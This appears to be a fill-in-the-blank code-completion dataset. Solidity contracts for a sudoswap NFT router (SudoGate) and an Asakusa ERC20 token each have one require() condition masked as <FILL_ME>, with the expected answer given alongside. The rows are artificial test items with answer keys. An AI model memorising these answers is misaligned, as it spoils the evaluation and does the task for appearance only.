function calcFees(uint256 price) internal view returns (
uint256 protocolFee,
uint256 contributorFee) {
}
function adjustBuyPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function adjustSellPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function addFee(address recipient, uint256 fee) internal {
}
function buyFromPool(address pool) public payable returns (uint256 tokenID) {
}
function buy(address nft) public payable returns (uint256 tokenID) {
}
function buyQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function buyQuoteWithFees(address nftAddr) public view returns (uint256 bestPrice, address bestPool) {
}
function _moveToContract(address nftAddr, uint256 tokenId) internal {
// move NFT to this contract in preparation for selling it
IERC721 nftContract = IERC721(nftAddr);
address currentOwner = nftContract.ownerOf(tokenId);
if (currentOwner != address(this)) {
require(
currentOwner == msg.sender ||
nftContract.isApprovedForAll(currentOwner, msg.sender) ||
nftContract.getApproved(tokenId) == msg.sender,
"Caller not approved to sell NFT");
require(<FILL_ME>)
IERC721(nftAddr).safeTransferFrom(currentOwner, address(this), tokenId);
}
}
function sellToPool(address nftAddr, uint256 tokenId, address sudoswapPool, uint256 minPrice) public returns (uint256 priceInWei, uint256 feesInWei) {
}
function sell(address nft, uint256 tokenId) public returns (bool success, uint256 priceInWei, uint256 feesInWei) {
}
function sellQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function sellQuoteWithFees(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
// make it possible to receive ETH on this contract
receive() external payable { }
function rescueETH() public {
}
function rescueNFT(address nftAddr, uint256 tokenId) public {
}
function withdraw() public {
}
// ERC721Receiver implementation copied and modified from:
// https://github.com/GustasKlisauskas/ERC721Receiver/blob/master/ERC721Receiver.sol
function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4) {
}
}
| nftContract.isApprovedForAll(currentOwner,address(this))||nftContract.getApproved(tokenId)==address(this),"SudoGate contract not approved to transfer the NFT" | 261,493 | nftContract.isApprovedForAll(currentOwner,address(this))||nftContract.getApproved(tokenId)==address(this) |
"Pool for different NFT" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.16;
// common OZ intefaces
import {IERC165} from "IERC165.sol";
import {IERC721} from "IERC721.sol";
import {IERC721Enumerable} from "IERC721Enumerable.sol";
import {IERC721Receiver} from "IERC721Receiver.sol";
// sudoswap interfaces
import {ILSSVMPairFactoryLike} from "ILSSVMPairFactoryLike.sol";
import {LSSVMPair, CurveErrorCodes} from "LSSVMPair.sol";
// make sure that SudoRug and SudoGate agree on the interface to this contract
import {ISudoGate02} from "ISudoGate02.sol";
import {ISudoGatePoolSource} from "ISudoGatePoolSource.sol";
contract SudoGate is ISudoGate02, IERC721Receiver {
address public owner;
address private SUDO_PAIR_FACTORY_ADDRESS = 0xb16c1342E617A5B6E4b631EB114483FDB289c0A4;
uint256 public minBalanceForTransfer = 0.1 ether;
uint256 public contributorFeePerThousand = 2;
uint256 public protocolFeePerThousand = 1;
uint256 public defaultSlippagePerThousand = 20;
address payable public protocolFeeAddress;
/*
to avoid transferring eth on every small fee,
keep track of balances in this mapping and then
send eth in larger batches
*/
mapping (address => uint256) public balances;
uint256 public totalBalance = 0;
// mapping from NFT addresses to array of known pools
mapping (address => address[]) public pools;
mapping (address => bool) public knownPool;
// who contributed each pool
mapping (address => address) public poolContributors;
constructor() {
}
function setPairFactoryAddress(address addr) public {
}
function setProtocolFeeAddress(address payable addr) public {
}
function setProtocolFee(uint256 fee) public {
}
function setContributorFee(uint256 fee) public {
}
function setMinBalanceForTransfer(uint256 minVal) public {
}
function setDefaultSlippage(uint256 slippagePerThousand) public {
}
function totalFeesPerThousand() public view returns (uint256) {
}
function isSudoSwapPool(address sudoswapPool) public view returns (bool) {
}
function registerPool(address sudoswapPool) public returns (bool) {
}
function calcFeesAndSlippage(uint256 price, uint256 slippagePerThousand) internal view returns (
uint256 protocolFee,
uint256 contributorFee,
uint256 slippage) {
}
function calcFees(uint256 price) internal view returns (
uint256 protocolFee,
uint256 contributorFee) {
}
function adjustBuyPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function adjustSellPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function addFee(address recipient, uint256 fee) internal {
}
function buyFromPool(address pool) public payable returns (uint256 tokenID) {
}
function buy(address nft) public payable returns (uint256 tokenID) {
}
function buyQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function buyQuoteWithFees(address nftAddr) public view returns (uint256 bestPrice, address bestPool) {
}
function _moveToContract(address nftAddr, uint256 tokenId) internal {
}
function sellToPool(address nftAddr, uint256 tokenId, address sudoswapPool, uint256 minPrice) public returns (uint256 priceInWei, uint256 feesInWei) {
/*
Sells NFT to specific pool.
Returns:
- uint256 priceInWei (amount of ETH returned to seller)
- uint256 feesInWei (amount of ETH kept as SudoGate protocol + pool registration fees)
Seller must approve the SudoGate contract for the given NFT before calling this function
*/
require(sudoswapPool != address(0), "Zero address not a valid pool");
require(isSudoSwapPool(sudoswapPool), "Given address is not a valid sudoswap pool");
require(<FILL_ME>)
LSSVMPair.PoolType poolType = LSSVMPair(sudoswapPool).poolType();
require(poolType == LSSVMPair.PoolType.TOKEN || poolType == LSSVMPair.PoolType.TRADE, "Wrong pool type, not able to buy");
require(sudoswapPool.balance >= minPrice, "Not enough ETH on sudoswap pool for desired price");
// move the NFT to SudoGate
_moveToContract(nftAddr, tokenId);
// now that we have the NFT, we can approve sudoswap transferring it
IERC721(nftAddr).approve(sudoswapPool, tokenId);
priceInWei = 0;
feesInWei = 0;
uint256[] memory nftIds = new uint256[](1);
nftIds[0] = tokenId;
uint256 outputAmount = LSSVMPair(sudoswapPool).swapNFTsForToken(
nftIds,
minPrice,
payable(address(this)),
false,
address(0));
require(outputAmount > 0, "Didn't get any ETH back");
require(outputAmount > (minPrice / 2), "Sale price slippage greater than 50%");
// compute actual fees based on what got sent by sudoswap
uint256 contributorFee;
uint256 protocolFee;
(protocolFee, contributorFee) = calcFees(outputAmount);
addFee(poolContributors[sudoswapPool], contributorFee);
addFee(protocolFeeAddress, protocolFee);
feesInWei = protocolFee + contributorFee;
require(feesInWei < outputAmount, "Fees can't exceed ETH received for selling");
priceInWei = outputAmount - feesInWei;
// send back ETH after fees
if (priceInWei > 0) {
payable(msg.sender).transfer(priceInWei);
}
}
function sell(address nft, uint256 tokenId) public returns (bool success, uint256 priceInWei, uint256 feesInWei) {
}
function sellQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function sellQuoteWithFees(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
// make it possible to receive ETH on this contract
receive() external payable { }
function rescueETH() public {
}
function rescueNFT(address nftAddr, uint256 tokenId) public {
}
function withdraw() public {
}
// ERC721Receiver implementation copied and modified from:
// https://github.com/GustasKlisauskas/ERC721Receiver/blob/master/ERC721Receiver.sol
function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4) {
}
}
| address(LSSVMPair(sudoswapPool).nft())==nftAddr,"Pool for different NFT" | 261,493 | address(LSSVMPair(sudoswapPool).nft())==nftAddr |
"Sale price slippage greater than 50%" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.16;
// common OZ intefaces
import {IERC165} from "IERC165.sol";
import {IERC721} from "IERC721.sol";
import {IERC721Enumerable} from "IERC721Enumerable.sol";
import {IERC721Receiver} from "IERC721Receiver.sol";
// sudoswap interfaces
import {ILSSVMPairFactoryLike} from "ILSSVMPairFactoryLike.sol";
import {LSSVMPair, CurveErrorCodes} from "LSSVMPair.sol";
// make sure that SudoRug and SudoGate agree on the interface to this contract
import {ISudoGate02} from "ISudoGate02.sol";
import {ISudoGatePoolSource} from "ISudoGatePoolSource.sol";
contract SudoGate is ISudoGate02, IERC721Receiver {
address public owner;
address private SUDO_PAIR_FACTORY_ADDRESS = 0xb16c1342E617A5B6E4b631EB114483FDB289c0A4;
uint256 public minBalanceForTransfer = 0.1 ether;
uint256 public contributorFeePerThousand = 2;
uint256 public protocolFeePerThousand = 1;
uint256 public defaultSlippagePerThousand = 20;
address payable public protocolFeeAddress;
/*
to avoid transferring eth on every small fee,
keep track of balances in this mapping and then
send eth in larger batches
*/
mapping (address => uint256) public balances;
uint256 public totalBalance = 0;
// mapping from NFT addresses to array of known pools
mapping (address => address[]) public pools;
mapping (address => bool) public knownPool;
// who contributed each pool
mapping (address => address) public poolContributors;
constructor() {
}
function setPairFactoryAddress(address addr) public {
}
function setProtocolFeeAddress(address payable addr) public {
}
function setProtocolFee(uint256 fee) public {
}
function setContributorFee(uint256 fee) public {
}
function setMinBalanceForTransfer(uint256 minVal) public {
}
function setDefaultSlippage(uint256 slippagePerThousand) public {
}
function totalFeesPerThousand() public view returns (uint256) {
}
function isSudoSwapPool(address sudoswapPool) public view returns (bool) {
}
function registerPool(address sudoswapPool) public returns (bool) {
}
function calcFeesAndSlippage(uint256 price, uint256 slippagePerThousand) internal view returns (
uint256 protocolFee,
uint256 contributorFee,
uint256 slippage) {
}
function calcFees(uint256 price) internal view returns (
uint256 protocolFee,
uint256 contributorFee) {
}
function adjustBuyPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function adjustSellPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function addFee(address recipient, uint256 fee) internal {
}
function buyFromPool(address pool) public payable returns (uint256 tokenID) {
}
function buy(address nft) public payable returns (uint256 tokenID) {
}
function buyQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function buyQuoteWithFees(address nftAddr) public view returns (uint256 bestPrice, address bestPool) {
}
function _moveToContract(address nftAddr, uint256 tokenId) internal {
}
function sellToPool(address nftAddr, uint256 tokenId, address sudoswapPool, uint256 minPrice) public returns (uint256 priceInWei, uint256 feesInWei) {
/*
Sells NFT to specific pool.
Returns:
- uint256 priceInWei (amount of ETH returned to seller)
- uint256 feesInWei (amount of ETH kept as SudoGate protocol + pool registration fees)
Seller must approve the SudoGate contract for the given NFT before calling this function
*/
require(sudoswapPool != address(0), "Zero address not a valid pool");
require(isSudoSwapPool(sudoswapPool), "Given address is not a valid sudoswap pool");
require(address(LSSVMPair(sudoswapPool).nft()) == nftAddr, "Pool for different NFT");
LSSVMPair.PoolType poolType = LSSVMPair(sudoswapPool).poolType();
require(poolType == LSSVMPair.PoolType.TOKEN || poolType == LSSVMPair.PoolType.TRADE, "Wrong pool type, not able to buy");
require(sudoswapPool.balance >= minPrice, "Not enough ETH on sudoswap pool for desired price");
// move the NFT to SudoGate
_moveToContract(nftAddr, tokenId);
// now that we have the NFT, we can approve sudoswap transferring it
IERC721(nftAddr).approve(sudoswapPool, tokenId);
priceInWei = 0;
feesInWei = 0;
uint256[] memory nftIds = new uint256[](1);
nftIds[0] = tokenId;
uint256 outputAmount = LSSVMPair(sudoswapPool).swapNFTsForToken(
nftIds,
minPrice,
payable(address(this)),
false,
address(0));
require(outputAmount > 0, "Didn't get any ETH back");
require(<FILL_ME>)
// compute actual fees based on what got sent by sudoswap
uint256 contributorFee;
uint256 protocolFee;
(protocolFee, contributorFee) = calcFees(outputAmount);
addFee(poolContributors[sudoswapPool], contributorFee);
addFee(protocolFeeAddress, protocolFee);
feesInWei = protocolFee + contributorFee;
require(feesInWei < outputAmount, "Fees can't exceed ETH received for selling");
priceInWei = outputAmount - feesInWei;
// send back ETH after fees
if (priceInWei > 0) {
payable(msg.sender).transfer(priceInWei);
}
}
function sell(address nft, uint256 tokenId) public returns (bool success, uint256 priceInWei, uint256 feesInWei) {
}
function sellQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function sellQuoteWithFees(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
// make it possible to receive ETH on this contract
receive() external payable { }
function rescueETH() public {
}
function rescueNFT(address nftAddr, uint256 tokenId) public {
}
function withdraw() public {
}
// ERC721Receiver implementation copied and modified from:
// https://github.com/GustasKlisauskas/ERC721Receiver/blob/master/ERC721Receiver.sol
function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4) {
}
}
| outputAmount>(minPrice/2),"Sale price slippage greater than 50%" | 261,493 | outputAmount>(minPrice/2) |
"Ended up with wrong NFT owner!" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.16;
// common OZ intefaces
import {IERC165} from "IERC165.sol";
import {IERC721} from "IERC721.sol";
import {IERC721Enumerable} from "IERC721Enumerable.sol";
import {IERC721Receiver} from "IERC721Receiver.sol";
// sudoswap interfaces
import {ILSSVMPairFactoryLike} from "ILSSVMPairFactoryLike.sol";
import {LSSVMPair, CurveErrorCodes} from "LSSVMPair.sol";
// make sure that SudoRug and SudoGate agree on the interface to this contract
import {ISudoGate02} from "ISudoGate02.sol";
import {ISudoGatePoolSource} from "ISudoGatePoolSource.sol";
contract SudoGate is ISudoGate02, IERC721Receiver {
address public owner;
address private SUDO_PAIR_FACTORY_ADDRESS = 0xb16c1342E617A5B6E4b631EB114483FDB289c0A4;
uint256 public minBalanceForTransfer = 0.1 ether;
uint256 public contributorFeePerThousand = 2;
uint256 public protocolFeePerThousand = 1;
uint256 public defaultSlippagePerThousand = 20;
address payable public protocolFeeAddress;
/*
to avoid transferring eth on every small fee,
keep track of balances in this mapping and then
send eth in larger batches
*/
mapping (address => uint256) public balances;
uint256 public totalBalance = 0;
// mapping from NFT addresses to array of known pools
mapping (address => address[]) public pools;
mapping (address => bool) public knownPool;
// who contributed each pool
mapping (address => address) public poolContributors;
constructor() {
}
function setPairFactoryAddress(address addr) public {
}
function setProtocolFeeAddress(address payable addr) public {
}
function setProtocolFee(uint256 fee) public {
}
function setContributorFee(uint256 fee) public {
}
function setMinBalanceForTransfer(uint256 minVal) public {
}
function setDefaultSlippage(uint256 slippagePerThousand) public {
}
function totalFeesPerThousand() public view returns (uint256) {
}
function isSudoSwapPool(address sudoswapPool) public view returns (bool) {
}
function registerPool(address sudoswapPool) public returns (bool) {
}
function calcFeesAndSlippage(uint256 price, uint256 slippagePerThousand) internal view returns (
uint256 protocolFee,
uint256 contributorFee,
uint256 slippage) {
}
function calcFees(uint256 price) internal view returns (
uint256 protocolFee,
uint256 contributorFee) {
}
function adjustBuyPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function adjustSellPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function addFee(address recipient, uint256 fee) internal {
}
function buyFromPool(address pool) public payable returns (uint256 tokenID) {
}
function buy(address nft) public payable returns (uint256 tokenID) {
}
function buyQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function buyQuoteWithFees(address nftAddr) public view returns (uint256 bestPrice, address bestPool) {
}
function _moveToContract(address nftAddr, uint256 tokenId) internal {
}
function sellToPool(address nftAddr, uint256 tokenId, address sudoswapPool, uint256 minPrice) public returns (uint256 priceInWei, uint256 feesInWei) {
}
function sell(address nft, uint256 tokenId) public returns (bool success, uint256 priceInWei, uint256 feesInWei) {
/*
Sells NFT at best price if there are any registered pools which will buy it.
Returns:
- bool success (true if sale happened)
- uint256 priceInWei (amount of ETH returned to seller)
- uint256 feesInWei (amount of ETH kept as SudoGate protocol + pool registration fees)
Seller must approve the SudoGate contract for the given NFT before calling this function
*/
uint256 bestPrice;
address bestPool;
(bestPrice, bestPool) = sellQuote(nft);
success = false;
priceInWei = 0;
feesInWei = 0;
if (bestPrice > 0 && bestPool != address(0)) {
(priceInWei, feesInWei) = sellToPool(nft, tokenId, bestPool, bestPrice);
require(<FILL_ME>)
success = true;
}
}
function sellQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function sellQuoteWithFees(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
// make it possible to receive ETH on this contract
receive() external payable { }
function rescueETH() public {
}
function rescueNFT(address nftAddr, uint256 tokenId) public {
}
function withdraw() public {
}
// ERC721Receiver implementation copied and modified from:
// https://github.com/GustasKlisauskas/ERC721Receiver/blob/master/ERC721Receiver.sol
function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4) {
}
}
| IERC721(nft).ownerOf(tokenId)==bestPool,"Ended up with wrong NFT owner!" | 261,493 | IERC721(nft).ownerOf(tokenId)==bestPool |
"Not enough ETH on contract for balances" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.16;
// common OZ intefaces
import {IERC165} from "IERC165.sol";
import {IERC721} from "IERC721.sol";
import {IERC721Enumerable} from "IERC721Enumerable.sol";
import {IERC721Receiver} from "IERC721Receiver.sol";
// sudoswap interfaces
import {ILSSVMPairFactoryLike} from "ILSSVMPairFactoryLike.sol";
import {LSSVMPair, CurveErrorCodes} from "LSSVMPair.sol";
// make sure that SudoRug and SudoGate agree on the interface to this contract
import {ISudoGate02} from "ISudoGate02.sol";
import {ISudoGatePoolSource} from "ISudoGatePoolSource.sol";
contract SudoGate is ISudoGate02, IERC721Receiver {
address public owner;
address private SUDO_PAIR_FACTORY_ADDRESS = 0xb16c1342E617A5B6E4b631EB114483FDB289c0A4;
uint256 public minBalanceForTransfer = 0.1 ether;
uint256 public contributorFeePerThousand = 2;
uint256 public protocolFeePerThousand = 1;
uint256 public defaultSlippagePerThousand = 20;
address payable public protocolFeeAddress;
/*
to avoid transferring eth on every small fee,
keep track of balances in this mapping and then
send eth in larger batches
*/
mapping (address => uint256) public balances;
uint256 public totalBalance = 0;
// mapping from NFT addresses to array of known pools
mapping (address => address[]) public pools;
mapping (address => bool) public knownPool;
// who contributed each pool
mapping (address => address) public poolContributors;
constructor() {
}
function setPairFactoryAddress(address addr) public {
}
function setProtocolFeeAddress(address payable addr) public {
}
function setProtocolFee(uint256 fee) public {
}
function setContributorFee(uint256 fee) public {
}
function setMinBalanceForTransfer(uint256 minVal) public {
}
function setDefaultSlippage(uint256 slippagePerThousand) public {
}
function totalFeesPerThousand() public view returns (uint256) {
}
function isSudoSwapPool(address sudoswapPool) public view returns (bool) {
}
function registerPool(address sudoswapPool) public returns (bool) {
}
function calcFeesAndSlippage(uint256 price, uint256 slippagePerThousand) internal view returns (
uint256 protocolFee,
uint256 contributorFee,
uint256 slippage) {
}
function calcFees(uint256 price) internal view returns (
uint256 protocolFee,
uint256 contributorFee) {
}
function adjustBuyPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function adjustSellPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function addFee(address recipient, uint256 fee) internal {
}
function buyFromPool(address pool) public payable returns (uint256 tokenID) {
}
function buy(address nft) public payable returns (uint256 tokenID) {
}
function buyQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function buyQuoteWithFees(address nftAddr) public view returns (uint256 bestPrice, address bestPool) {
}
function _moveToContract(address nftAddr, uint256 tokenId) internal {
}
function sellToPool(address nftAddr, uint256 tokenId, address sudoswapPool, uint256 minPrice) public returns (uint256 priceInWei, uint256 feesInWei) {
}
function sell(address nft, uint256 tokenId) public returns (bool success, uint256 priceInWei, uint256 feesInWei) {
}
function sellQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function sellQuoteWithFees(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
// make it possible to receive ETH on this contract
receive() external payable { }
function rescueETH() public {
// in case ETH gets trapped on this contract for some reason,
// allow owner to manually withdraw it
require(msg.sender == owner, "Only owner allowed to call rescueETH");
require(<FILL_ME>)
uint256 extraETH = address(this).balance - totalBalance;
payable(owner).transfer(extraETH);
}
function rescueNFT(address nftAddr, uint256 tokenId) public {
}
function withdraw() public {
}
// ERC721Receiver implementation copied and modified from:
// https://github.com/GustasKlisauskas/ERC721Receiver/blob/master/ERC721Receiver.sol
function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4) {
}
}
| address(this).balance>=totalBalance,"Not enough ETH on contract for balances" | 261,493 | address(this).balance>=totalBalance |
"SudoGate is not the owner of this NFT" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.16;
// common OZ intefaces
import {IERC165} from "IERC165.sol";
import {IERC721} from "IERC721.sol";
import {IERC721Enumerable} from "IERC721Enumerable.sol";
import {IERC721Receiver} from "IERC721Receiver.sol";
// sudoswap interfaces
import {ILSSVMPairFactoryLike} from "ILSSVMPairFactoryLike.sol";
import {LSSVMPair, CurveErrorCodes} from "LSSVMPair.sol";
// make sure that SudoRug and SudoGate agree on the interface to this contract
import {ISudoGate02} from "ISudoGate02.sol";
import {ISudoGatePoolSource} from "ISudoGatePoolSource.sol";
contract SudoGate is ISudoGate02, IERC721Receiver {
address public owner;
address private SUDO_PAIR_FACTORY_ADDRESS = 0xb16c1342E617A5B6E4b631EB114483FDB289c0A4;
uint256 public minBalanceForTransfer = 0.1 ether;
uint256 public contributorFeePerThousand = 2;
uint256 public protocolFeePerThousand = 1;
uint256 public defaultSlippagePerThousand = 20;
address payable public protocolFeeAddress;
/*
to avoid transferring eth on every small fee,
keep track of balances in this mapping and then
send eth in larger batches
*/
mapping (address => uint256) public balances;
uint256 public totalBalance = 0;
// mapping from NFT addresses to array of known pools
mapping (address => address[]) public pools;
mapping (address => bool) public knownPool;
// who contributed each pool
mapping (address => address) public poolContributors;
constructor() {
}
function setPairFactoryAddress(address addr) public {
}
function setProtocolFeeAddress(address payable addr) public {
}
function setProtocolFee(uint256 fee) public {
}
function setContributorFee(uint256 fee) public {
}
function setMinBalanceForTransfer(uint256 minVal) public {
}
function setDefaultSlippage(uint256 slippagePerThousand) public {
}
function totalFeesPerThousand() public view returns (uint256) {
}
function isSudoSwapPool(address sudoswapPool) public view returns (bool) {
}
function registerPool(address sudoswapPool) public returns (bool) {
}
function calcFeesAndSlippage(uint256 price, uint256 slippagePerThousand) internal view returns (
uint256 protocolFee,
uint256 contributorFee,
uint256 slippage) {
}
function calcFees(uint256 price) internal view returns (
uint256 protocolFee,
uint256 contributorFee) {
}
function adjustBuyPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function adjustSellPrice(uint256 price, uint256 slippagePerThousand) public view returns (uint256 adjustedPrice) {
}
function addFee(address recipient, uint256 fee) internal {
}
function buyFromPool(address pool) public payable returns (uint256 tokenID) {
}
function buy(address nft) public payable returns (uint256 tokenID) {
}
function buyQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function buyQuoteWithFees(address nftAddr) public view returns (uint256 bestPrice, address bestPool) {
}
function _moveToContract(address nftAddr, uint256 tokenId) internal {
}
function sellToPool(address nftAddr, uint256 tokenId, address sudoswapPool, uint256 minPrice) public returns (uint256 priceInWei, uint256 feesInWei) {
}
function sell(address nft, uint256 tokenId) public returns (bool success, uint256 priceInWei, uint256 feesInWei) {
}
function sellQuote(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
function sellQuoteWithFees(address nft) public view returns (uint256 bestPrice, address bestPool) {
}
// make it possible to receive ETH on this contract
receive() external payable { }
function rescueETH() public {
}
function rescueNFT(address nftAddr, uint256 tokenId) public {
// move an NFT off the contract in case it gets stuck
require(msg.sender == owner, "Only owner allowed to call rescueNFT");
require(<FILL_ME>)
IERC721(nftAddr).transferFrom(address(this), msg.sender, tokenId);
}
function withdraw() public {
}
// ERC721Receiver implementation copied and modified from:
// https://github.com/GustasKlisauskas/ERC721Receiver/blob/master/ERC721Receiver.sol
function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4) {
}
}
| IERC721(nftAddr).ownerOf(tokenId)==address(this),"SudoGate is not the owner of this NFT" | 261,493 | IERC721(nftAddr).ownerOf(tokenId)==address(this) |
"ERROR: Anti-MEV system is already renounced!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Context.sol";
import "./Address.sol";
import "./Ownable.sol";
import "./IERC20.sol";
import "./IUniswapV2Factory.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router01.sol";
import "./IUniswapV2Router02.sol";
/*
* @author ~ 🅧🅘🅟🅩🅔🅡 ~ (https://twitter.com/Xipzer | https://t.me/Xipzer)
*
* ░█████╗░░██████╗░█████╗░██╗░░██╗██╗░░░██╗░██████╗░█████╗░
* ██╔══██╗██╔════╝██╔══██╗██║░██╔╝██║░░░██║██╔════╝██╔══██╗
* ███████║╚█████╗░███████║█████═╝░██║░░░██║╚█████╗░███████║
* ██╔══██║░╚═══██╗██╔══██║██╔═██╗░██║░░░██║░╚═══██╗██╔══██║
* ██║░░██║██████╔╝██║░░██║██║░╚██╗╚██████╔╝██████╔╝██║░░██║
* ╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝░╚═════╝░╚═════╝░╚═╝░░╚═╝
*
*/
contract Asakusa is Context, IERC20, Ownable
{
using Address for address;
string public name = "Asakusa";
string public symbol = "ASAKU";
uint public decimals = 18;
uint public totalSupply = 1000000000 * 10 ** decimals;
uint private maxTXN = (totalSupply * 15) / 1000;
uint private maxWallet = (totalSupply * 15) / 1000;
uint public swapThresholdMin = totalSupply / 5000;
uint public swapThresholdMax = totalSupply / 1000;
address public dexPair;
IUniswapV2Router02 public dexRouter;
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint) private balances;
mapping (address => mapping (address => uint)) private allowances;
mapping (address => bool) private isCaughtMEV;
mapping (address => bool) private isFeeExempt;
mapping (address => bool) private isTxnLimitExempt;
mapping (address => bool) private isWalletLimitExempt;
mapping (address => bool) public isMarketPair;
struct Fees
{
uint inFee;
uint outFee;
uint transferFee;
}
struct FeeSplit
{
uint marketing;
uint development;
}
struct FeeReceivers
{
address payable marketing;
address payable development;
}
Fees public fees;
FeeSplit public feeSplit;
FeeReceivers public feeReceivers;
bool public tradingEnabled;
bool public protectionRenounced;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled;
bool public swapAndLiquifyByLimitOnly;
event SwapAndLiquifyStatusUpdated(bool status);
event SwapAndLiquifyByLimitStatusUpdated(bool status);
event SwapTokensForETH(uint amountIn, address[] path);
modifier lockTheSwap
{
}
constructor()
{
}
function balanceOf(address wallet) public view override returns (uint)
{
}
function allowance(address owner, address spender) public view override returns (uint)
{
}
function getCirculatingSupply() public view returns (uint)
{
}
function getMEVStatus(address wallet) public view returns (bool)
{
}
function setWalletFeeStatus(address wallet, bool status) public onlyOwner()
{
}
function setWalletTxnStatus(address wallet, bool status) public onlyOwner()
{
}
function setWalletLimitStatus(address wallet, bool status) public onlyOwner()
{
}
function setMarketPairStatus(address wallet, bool status) public onlyOwner()
{
}
function setMaxTXN(uint value) public onlyOwner()
{
}
function setMaxWallet(uint value) public onlyOwner()
{
}
function enableTrading() public onlyOwner()
{
}
function removeMaxTXN() public onlyOwner()
{
}
function removeMaxWallet() public onlyOwner()
{
}
function renounceMEVProtection() public onlyOwner()
{
require(<FILL_ME>)
protectionRenounced = true;
}
function setCaughtMEV(address[] memory wallets, bool status) public onlyOwner()
{
}
function setFees(uint inFee, uint outFee, uint transferFee) public onlyOwner()
{
}
function setFeeSplit(uint marketing, uint development) public onlyOwner()
{
}
function setFeeReceivers(address marketing, address development) public onlyOwner()
{
}
function setSwapThresholds(uint swapMin, uint swapMax) public onlyOwner()
{
}
function setSwapAndLiquifyStatus(bool status) public onlyOwner()
{
}
function setSwapAndLiquifyByLimitStatus(bool status) public onlyOwner()
{
}
function approve(address spender, uint amount) public override returns (bool)
{
}
function _approve(address owner, address spender, uint amount) private
{
}
function transfer(address recipient, uint amount) public override returns (bool)
{
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool)
{
}
function transferToAddressNative(address payable recipient, uint amount) private
{
}
function _transfer(address sender, address recipient, uint amount) private returns (bool)
{
}
function swapAndLiquify(uint amount) private lockTheSwap
{
}
function swapTokensForETH(uint amount) private
{
}
function takeFee(address sender, address recipient, uint amount) internal returns (uint)
{
}
function withdrawStuckNative(address recipient, uint amount) public onlyOwner()
{
}
function withdrawForeignToken(address tokenAddress, address recipient, uint amount) public onlyOwner()
{
}
function min(uint a, uint b) private pure returns (uint)
{
}
receive() external payable {}
}
| !protectionRenounced,"ERROR: Anti-MEV system is already renounced!" | 261,538 | !protectionRenounced |
"ERROR: Combined fee must not exceed 100%!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./Context.sol";
import "./Address.sol";
import "./Ownable.sol";
import "./IERC20.sol";
import "./IUniswapV2Factory.sol";
import "./IUniswapV2Pair.sol";
import "./IUniswapV2Router01.sol";
import "./IUniswapV2Router02.sol";
/*
* @author ~ 🅧🅘🅟🅩🅔🅡 ~ (https://twitter.com/Xipzer | https://t.me/Xipzer)
*
* ░█████╗░░██████╗░█████╗░██╗░░██╗██╗░░░██╗░██████╗░█████╗░
* ██╔══██╗██╔════╝██╔══██╗██║░██╔╝██║░░░██║██╔════╝██╔══██╗
* ███████║╚█████╗░███████║█████═╝░██║░░░██║╚█████╗░███████║
* ██╔══██║░╚═══██╗██╔══██║██╔═██╗░██║░░░██║░╚═══██╗██╔══██║
* ██║░░██║██████╔╝██║░░██║██║░╚██╗╚██████╔╝██████╔╝██║░░██║
* ╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝╚═╝░░╚═╝░╚═════╝░╚═════╝░╚═╝░░╚═╝
*
*/
contract Asakusa is Context, IERC20, Ownable
{
using Address for address;
string public name = "Asakusa";
string public symbol = "ASAKU";
uint public decimals = 18;
uint public totalSupply = 1000000000 * 10 ** decimals;
uint private maxTXN = (totalSupply * 15) / 1000;
uint private maxWallet = (totalSupply * 15) / 1000;
uint public swapThresholdMin = totalSupply / 5000;
uint public swapThresholdMax = totalSupply / 1000;
address public dexPair;
IUniswapV2Router02 public dexRouter;
address public constant DEAD = 0x000000000000000000000000000000000000dEaD;
